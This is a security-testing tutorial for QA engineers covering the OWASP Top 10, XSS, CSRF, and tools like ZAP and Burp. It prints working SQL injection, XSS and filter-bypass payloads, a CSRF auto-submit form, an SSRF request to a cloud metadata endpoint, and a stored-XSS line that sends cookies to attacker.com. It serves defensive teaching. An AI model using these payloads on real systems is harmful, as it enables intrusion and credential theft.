Security (as discussed in Penetration Testing Basics for QA Testers) testing has evolved from being a specialized niche to an essential competency for QA engineers. With data breaches costing companies millions and damaging reputations irreparably, the responsibility for identifying security (as discussed in OWASP ZAP Automation: Security Scanning in CI/CD) vulnerabilities now extends beyond dedicated security teams to everyone involved in software development. This comprehensive guide equips QA engineers with practical knowledge of security (as discussed in SQL Injection and XSS: Finding Vulnerabilities) testing fundamentals, common vulnerabilities, and the tools needed to discover and validate security issues.
Understanding Security Testing in the QA Context
Security testing is the practice of identifying vulnerabilities, threats, and risks in software systems that could lead to unauthorized access, data breaches, system compromise, or denial of service. Unlike functional testing which validates that features work as intended, security testing examines what happens when features are abused, bypassed, or exploited.
The Security Testing Mindset
Effective security testing requires a mindset shift from traditional QA thinking:
Traditional QA mindset:
- “Does this feature work as documented?”
- “What happens when I follow the happy path?”
- “Can legitimate users accomplish their goals?”
Security testing mindset:
- “How can this feature be abused?”
- “What happens when I deliberately provide malicious input?”
- “Can I bypass authentication or authorization?”
- “What sensitive data is exposed?”
- “What happens if I manipulate API calls or browser requests?”
Security Testing vs. Penetration Testing
Security testing is a broad category that includes:
- Static analysis (code review, SAST tools)
- Dynamic analysis (runtime testing, DAST tools)
- Configuration reviews
- Threat modeling
- Compliance validation
Penetration testing (or ethical hacking) is a specific type of security testing where testers actively attempt to exploit vulnerabilities to demonstrate real-world attack scenarios. Penetration testing typically requires specialized training and authorization.
As a QA engineer, you’ll primarily focus on automated security scanning, basic vulnerability identification, and security regression testing, leaving complex penetration testing to specialists.
The OWASP Top 10: Your Security Testing Foundation
The OWASP Top 10 is the definitive awareness document for web application security. Published by the Open Web Application Security Project (OWASP), it represents the most critical security risks to web applications based on data from hundreds of organizations and thousands of applications.
OWASP Top 10 (2021 Edition)
Let’s examine each vulnerability category and how QA engineers can test for them.
A01:2021 – Broken Access Control
What it is: Broken Access Control occurs when users can act outside their intended permissions—accessing other users’ data, modifying data they shouldn’t, or performing administrative functions without proper authorization.
Common manifestations:
- Insecure Direct Object References (IDOR): URLs like
/api/users/12345
where changing the ID exposes other users’ data - Missing function-level access control: Admin panels accessible to regular users
- Forced browsing: Accessing pages by guessing URLs (e.g.,
/admin
,/reports
) - Elevation of privilege: Regular users gaining admin rights through parameter tampering
How to test:
- Test vertical access control: Log in as a low-privilege user, intercept requests, and try to access admin functions
- Test horizontal access control: As User A, try to access User B’s resources by manipulating IDs or tokens
- Test for forced browsing: Try to access restricted URLs directly without authentication
- Test parameter tampering: Modify
role=user
torole=admin
in requests
Example test case:
# Normal request as User 12345
GET /api/users/12345/profile HTTP/1.1
Authorization: Bearer <user_12345_token>
# Attack: Try to access User 99999's profile
GET /api/users/99999/profile HTTP/1.1
Authorization: Bearer <user_12345_token>
# Expected secure response: 403 Forbidden
# Vulnerable response: 200 OK with User 99999's data
A02:2021 – Cryptographic Failures
What it is: Failures related to cryptography (or lack thereof) that expose sensitive data. This includes data transmitted without encryption, weak encryption algorithms, improper key management, and missing encryption at rest.
Common manifestations:
- Transmitting sensitive data over HTTP instead of HTTPS
- Storing passwords in plain text or with weak hashing (MD5, SHA1)
- Weak SSL/TLS configurations
- Hard-coded encryption keys in source code
- Sensitive data in browser local storage without encryption
How to test:
- Verify HTTPS enforcement: Try accessing the application via HTTP—it should redirect to HTTPS
- Check certificate validity: Use browser developer tools or SSL Labs to verify certificate strength
- Inspect stored data: Check cookies, local storage, session storage for sensitive data
- Review password storage: Verify passwords are hashed with strong algorithms (bcrypt, Argon2, PBKDF2)
- Check API responses: Ensure sensitive data isn’t unnecessarily exposed in responses
Testing with browser DevTools:
// Open browser console and check local storage
console.log(localStorage);
console.log(sessionStorage);
// Look for sensitive data like:
// - Credit card numbers
// - Social Security Numbers
// - Passwords or tokens
// - Personal health information
A03:2021 – Injection
What it is: Injection flaws occur when untrusted data is sent to an interpreter as part of a command or query. The attacker’s hostile data tricks the interpreter into executing unintended commands or accessing data without authorization.
Types of injection:
- SQL Injection: Manipulating SQL queries
- NoSQL Injection: Exploiting NoSQL database queries
- OS Command Injection: Executing system commands
- LDAP Injection: Manipulating LDAP queries
- Expression Language (EL) Injection: Exploiting template engines
SQL Injection deep dive:
SQL Injection occurs when user input is incorporated into SQL queries without proper sanitization or parameterization.
Vulnerable code example (Python):
# VULNERABLE - Never do this!
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
cursor.execute(query)
Attack payload:
Username: admin' --
Password: anything
# Resulting query:
SELECT * FROM users WHERE username='admin' -- ' AND password='anything'
# The -- comments out the rest of the query, bypassing password check
How to test for SQL Injection:
Basic payloads:
- Single quote:
'
- Comment sequences:
--
,#
,/* */
- Boolean logic:
' OR '1'='1
,' OR 1=1--
- Time delays:
'; WAITFOR DELAY '00:00:05'--
- Single quote:
Test in multiple contexts:
- Login forms (username/password fields)
- Search functionality
- Sorting and filtering parameters
- URL parameters (
?id=1' OR '1'='1
)
Observe responses:
- Database errors revealing SQL syntax
- Unusual results (e.g., all records returned)
- Time delays (indicating blind SQL injection)
- Differences in response times or content
Common SQL injection test cases:
# Login bypass
' OR 1=1--
admin' --
' OR 'x'='x
') OR ('x'='x
# Union-based injection (extracting data)
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT username, password, NULL FROM users--
# Blind SQL injection (time-based)
'; IF (1=1) WAITFOR DELAY '00:00:05'--
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
# Error-based injection
' AND 1=CONVERT(int, (SELECT @@version))--
Secure code (parameterized query):
# SECURE - Always use parameterized queries
username = request.form['username']
password = request.form['password']
query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(query, (username, password))
A04:2021 – Insecure Design
What it is: Security flaws in the design and architecture of the application, before any code is written. Missing or ineffective security controls in the design phase.
Examples:
- No rate limiting on password reset allowing brute force
- Credential recovery questions that are easily guessable
- Business logic flaws (e.g., transferring negative amounts to increase balance)
How to test:
- Review business logic: Look for ways to abuse legitimate features
- Test rate limiting: Attempt brute force attacks on login, registration, API endpoints
- Examine workflows: Can steps be skipped or performed out of order?
- Test for race conditions: Submit multiple simultaneous requests
A05:2021 – Security Misconfiguration
What it is: Insecure default configurations, incomplete setups, open cloud storage, misconfigured HTTP headers, verbose error messages revealing sensitive information.
Common issues:
- Default credentials still enabled
- Directory listing enabled
- Stack traces exposed to users
- Unnecessary features enabled
- Missing security headers (CSP, X-Frame-Options, HSTS)
How to test:
- Check for default credentials: Try
admin/admin
,admin/password123
- Probe for exposed admin panels:
/admin
,/administrator
,/phpmyadmin
- Trigger errors: Send malformed input to reveal stack traces
- Check HTTP security headers: Use SecurityHeaders.com or browser DevTools
Essential security headers:
# Content Security Policy - prevents XSS
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
# Prevent clickjacking
X-Frame-Options: DENY
# Enforce HTTPS
Strict-Transport-Security: max-age=31536000; includeSubDomains
# Prevent MIME sniffing
X-Content-Type-Options: nosniff
# XSS Protection (legacy browsers)
X-XSS-Protection: 1; mode=block
A06:2021 – Vulnerable and Outdated Components
What it is: Using libraries, frameworks, or other software components with known vulnerabilities.
How to test:
- Identify versions: Check HTTP headers, error messages, or documentation
- Check for known vulnerabilities: Use CVE databases, Snyk, or npm audit
- Scan dependencies: Use tools like OWASP Dependency-Check, Retire.js
# Check npm dependencies for vulnerabilities
npm audit
# Check Python packages
pip-audit
# Check Java dependencies with OWASP Dependency-Check
dependency-check --project MyApp --scan ./lib
A07:2021 – Identification and Authentication Failures
What it is: Failures in authentication mechanisms allowing attackers to compromise passwords, keys, or session tokens, or exploit implementation flaws to assume other users’ identities.
Common issues:
- Weak password requirements
- Credential stuffing (using leaked credentials)
- Missing MFA (Multi-Factor Authentication)
- Session fixation
- Predictable session IDs
How to test:
- Test password policy: Try weak passwords like
123456
,password
- Test brute force protection: Attempt multiple failed logins
- Session management: Check if session tokens are random, secure, and expire
- Test logout functionality: Ensure sessions are properly terminated
A08:2021 – Software and Data Integrity Failures
What it is: Code and infrastructure that don’t protect against integrity violations. Examples include using insecure CI/CD pipelines, auto-update mechanisms without verification, or insecure deserialization.
How to test:
- Check for unsigned code: Verify digital signatures on downloads
- Test deserialization: Send malicious serialized objects
- Examine update mechanisms: Can updates be intercepted or spoofed?
A09:2021 – Security Logging and Monitoring Failures
What it is: Insufficient logging, detection, monitoring, and response to security events.
How to test:
- Generate security events: Try SQL injection, XSS, login failures
- Verify logging: Check if suspicious activities are logged
- Test alerting: Confirm that security teams are notified of critical events
A10:2021 – Server-Side Request Forgery (SSRF)
What it is: SSRF occurs when a web application fetches a remote resource without validating the user-supplied URL, allowing attackers to force the application to send requests to arbitrary locations.
Example attack:
# Application allows fetching profile pictures via URL
POST /api/profile/image HTTP/1.1
Content-Type: application/json
{
"imageUrl": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
# This could expose AWS credentials if running on EC2
How to test:
- Test URL parameters: Submit internal IPs (127.0.0.1, 192.168.x.x)
- Cloud metadata endpoints: Try accessing cloud provider metadata (169.254.169.254 for AWS)
- File protocol: Try
file:///etc/passwd
Cross-Site Scripting (XSS): Types and Testing
Cross-Site Scripting (XSS) allows attackers to inject malicious scripts into web pages viewed by other users. XSS is one of the most common vulnerabilities in web applications.
Types of XSS
Reflected XSS (Non-Persistent)
Malicious script is reflected off a web server, typically in search results, error messages, or any response that includes user input.
Example:
# Vulnerable search functionality
GET /search?q=<script>alert('XSS')</script>
# Server reflects the input in the response:
<h1>Search results for: <script>alert('XSS')</script></h1>
Stored XSS (Persistent)
Malicious script is permanently stored on the target server (database, file system, message forum) and served to users who access the stored data.
Example:
// Attacker posts a comment with malicious script
Comment: <script>
fetch('https://attacker.com/steal?cookie=' + document.cookie)
</script>
// Every user viewing this comment executes the script
DOM-Based XSS
The vulnerability exists in client-side code rather than server-side code. The attack payload is executed as a result of modifying the DOM environment.
Example:
// Vulnerable JavaScript code
let search = location.hash.substring(1);
document.getElementById('result').innerHTML = 'Search: ' + search;
// Attack URL:
https://example.com/#<img src=x onerror=alert('XSS')>
Testing for XSS
Basic XSS payloads:
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<body onload=alert('XSS')>
<input type="text" value="x" onfocus="alert('XSS')" autofocus>
# Event handlers
<div onmouseover="alert('XSS')">hover me</div>
# JavaScript protocol
<a href="javascript:alert('XSS')">click</a>
# Data URI
<object data="data:text/html,<script>alert('XSS')</script>">
Advanced XSS payloads (bypassing filters):
# Case variation
<ScRiPt>alert('XSS')</sCrIpT>
# Null bytes
<script>al%00ert('XSS')</script>
# HTML encoding
<img src=x onerror="alert('XSS')">
# Unicode encoding
<script>\u0061lert('XSS')</script>
# Using backticks
<img src=x onerror=`alert('XSS')`>
# Template literals
<script>alert`XSS`</script>
Testing methodology:
- Identify input points: Form fields, URL parameters, HTTP headers, file uploads
- Test reflection: Submit payloads and check if they appear in responses
- Test context: HTML context, JavaScript context, attribute context, URL context
- Check encoding: Is input sanitized or encoded?
- Test stored data: Submit payloads that will be stored and retrieved later
Cross-Site Request Forgery (CSRF)
CSRF tricks authenticated users into executing unwanted actions on a web application where they’re currently authenticated.
How CSRF works:
- User logs into legitimate site (bank.com)
- User visits malicious site (attacker.com)
- Malicious site triggers a request to bank.com
- Browser automatically includes authentication cookies
- Bank.com processes the request as if the user initiated it
Example attack:
<!-- Attacker's malicious page -->
<html>
<body>
<h1>You won a prize! Click here to claim it!</h1>
<!-- Hidden form that transfers money -->
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker_account">
<input type="hidden" name="amount" value="10000">
</form>
<script>
// Auto-submit the form when page loads
document.getElementById('csrf-form').submit();
</script>
</body>
</html>
Testing for CSRF
1. Check for CSRF tokens:
<!-- Secure form with CSRF token -->
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="random_unpredictable_token">
<input type="text" name="amount">
<button type="submit">Transfer</button>
</form>
2. Test CSRF protection:
- Submit forms without CSRF token
- Use CSRF token from a different session
- Use expired CSRF tokens
- Submit GET requests instead of POST (if state-changing operations accept GET)
3. Check for proper validation:
# Test 1: Remove CSRF token
POST /transfer HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Cookie: session=xyz
amount=1000&to=attacker
# Expected: 403 Forbidden (CSRF token missing)
# Vulnerable: 200 OK (request processed)
# Test 2: Wrong CSRF token
POST /transfer HTTP/1.1
csrf_token=invalid_token&amount=1000&to=attacker
4. Check SameSite cookie attribute:
Set-Cookie: session=xyz; HttpOnly; Secure; SameSite=Strict
SameSite=Strict
: Cookie never sent in cross-site requestsSameSite=Lax
: Cookie sent on top-level navigation (GET)- No SameSite: Cookie sent in all requests (vulnerable to CSRF)
Security Testing Tools
OWASP ZAP (Zed Attack Proxy)
OWASP ZAP is the world’s most popular free security testing tool, actively maintained by the OWASP community. It’s designed specifically for finding vulnerabilities in web applications.
Key features:
- Intercepting proxy (like Burp Suite)
- Automated scanner for common vulnerabilities
- Active and passive scanning
- Spider/crawler to map application structure
- Fuzzer for testing input validation
- API support (REST, SOAP, GraphQL)
Getting started with ZAP:
1. Installation:
# Download from https://www.zaproxy.org/download/
# Or via package manager
brew install --cask owasp-zap # macOS
apt install zaproxy # Ubuntu/Debian
2. Basic workflow:
1. Configure browser to use ZAP as proxy (localhost:8080)
2. Browse your application normally (ZAP records all traffic)
3. Run automated scan:
- Passive scan: Analyzes traffic for issues (safe, non-intrusive)
- Active scan: Sends attack payloads (can modify data)
4. Review findings in Alerts tab
5. Generate report
3. Automated scanning from CLI:
# Quick scan
zap-cli quick-scan -s all -r https://example.com
# Full scan with authentication
zap-cli active-scan -r https://example.com
# Export results
zap-cli alerts -f json -o results.json
4. ZAP API for CI/CD integration:
from zapv2 import ZAPv2
# Initialize ZAP
zap = ZAPv2(apikey='your-api-key', proxies={'http': 'http://localhost:8080'})
# Spider the application
zap.spider.scan('https://example.com')
# Active scan
zap.ascan.scan('https://example.com')
# Get alerts
alerts = zap.core.alerts()
for alert in alerts:
print(f"Risk: {alert['risk']}, Alert: {alert['alert']}, URL: {alert['url']}")
Burp Suite
Burp Suite is the industry-standard toolkit for web application security testing. The Community Edition is free, while Professional and Enterprise editions offer advanced features.
Key features:
- Powerful intercepting proxy
- Scanner (Professional edition only)
- Repeater for manipulating and resending requests
- Intruder for automated attacks (brute force, fuzzing)
- Decoder for encoding/decoding data
- Comparer for analyzing differences between requests
- Extender with rich plugin ecosystem
Basic Burp Suite workflow:
1. Proxy setup:
1. Burp Suite → Proxy → Options → Interface: 127.0.0.1:8080
2. Browser → Proxy settings → Manual proxy: localhost:8080
3. Import Burp's CA certificate to browser for HTTPS inspection
2. Using Repeater:
1. Intercept a request in Proxy → HTTP history
2. Right-click → Send to Repeater
3. Modify parameters, headers, body
4. Click "Send" to see response
5. Analyze response for vulnerabilities
3. Using Intruder (brute force/fuzzing):
1. Send request to Intruder
2. Select attack type: Sniper, Battering ram, Pitchfork, Cluster bomb
3. Mark payload positions (e.g., password field)
4. Load payload list (wordlist for brute force)
5. Start attack
6. Analyze results (response codes, lengths, timing)
Example: Testing for SQL injection with Burp Intruder:
# Original request
POST /login HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
username=admin&password=§test§
# Intruder will replace §test§ with payloads:
password=' OR '1'='1
password=' OR 1=1--
password=' UNION SELECT NULL--
# ... etc.
Other Useful Security Testing Tools
Nikto - Web server scanner
nikto -h https://example.com
SQLMap - Automated SQL injection tool
sqlmap -u "https://example.com/page?id=1" --dbs
Nmap - Network scanner
nmap -sV -sC example.com
Wfuzz - Web application fuzzer
wfuzz -c -z file,wordlist.txt https://example.com/FUZZ
Security Testing in CI/CD Pipelines
Integrating security testing into CI/CD ensures vulnerabilities are caught early and don’t reach production.
Recommended approach:
# .github/workflows/security.yml (GitHub Actions example)
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
# SAST (Static Application Security Testing)
- name: Run Bandit (Python SAST)
run: |
pip install bandit
bandit -r . -f json -o bandit-report.json
# Dependency scanning
- name: OWASP Dependency Check
uses: dependency-check/Dependency-Check_Action@main
with:
project: 'MyApp'
path: '.'
format: 'HTML'
# DAST (Dynamic Application Security Testing)
- name: ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.6.1
with:
target: 'https://staging.example.com'
# Upload results
- name: Upload reports
uses: actions/upload-artifact@v2
with:
name: security-reports
path: |
bandit-report.json
dependency-check-report.html
zap-report.html
Best Practices for QA Security Testing
1. Adopt a security-first mindset
- Think like an attacker
- Question assumptions about trust boundaries
- Test edge cases and unexpected inputs
2. Test early and often
- Integrate security testing in every sprint
- Don’t wait for a dedicated security testing phase
- Use security testing tools in CI/CD
3. Stay updated on vulnerabilities
- Follow OWASP Top 10 updates
- Subscribe to security newsletters (e.g., The Hacker News, SecurityWeek)
- Track CVEs for technologies you use
4. Collaborate with security teams
- Attend security training and workshops
- Participate in bug bounty programs
- Learn from security researchers
5. Document and track findings
- Use consistent severity ratings (Critical, High, Medium, Low)
- Provide clear reproduction steps
- Track remediation in your issue tracker
6. Test in non-production environments first
- Never test in production without explicit authorization
- Use dedicated security testing environments
- Ensure test data doesn’t contain real sensitive information
7. Understand the legal and ethical boundaries
- Only test systems you have authorization to test
- Follow responsible disclosure practices
- Respect scope limitations
Conclusion
Security testing is no longer optional—it’s a fundamental responsibility of modern QA engineering. While you don’t need to become a full-time penetration tester, developing competency in:
- Understanding the OWASP Top 10 vulnerabilities
- Testing for common issues like SQL injection, XSS, and CSRF
- Using security scanning tools like OWASP ZAP and Burp Suite
- Integrating security testing into CI/CD pipelines
…will significantly enhance your value as a QA engineer and improve the security posture of the applications you test.
Security is a continuous journey, not a destination. Start small, focus on the most critical vulnerabilities first, and progressively build your security testing expertise. Your efforts will protect users, safeguard data, and contribute to building more resilient and trustworthy applications.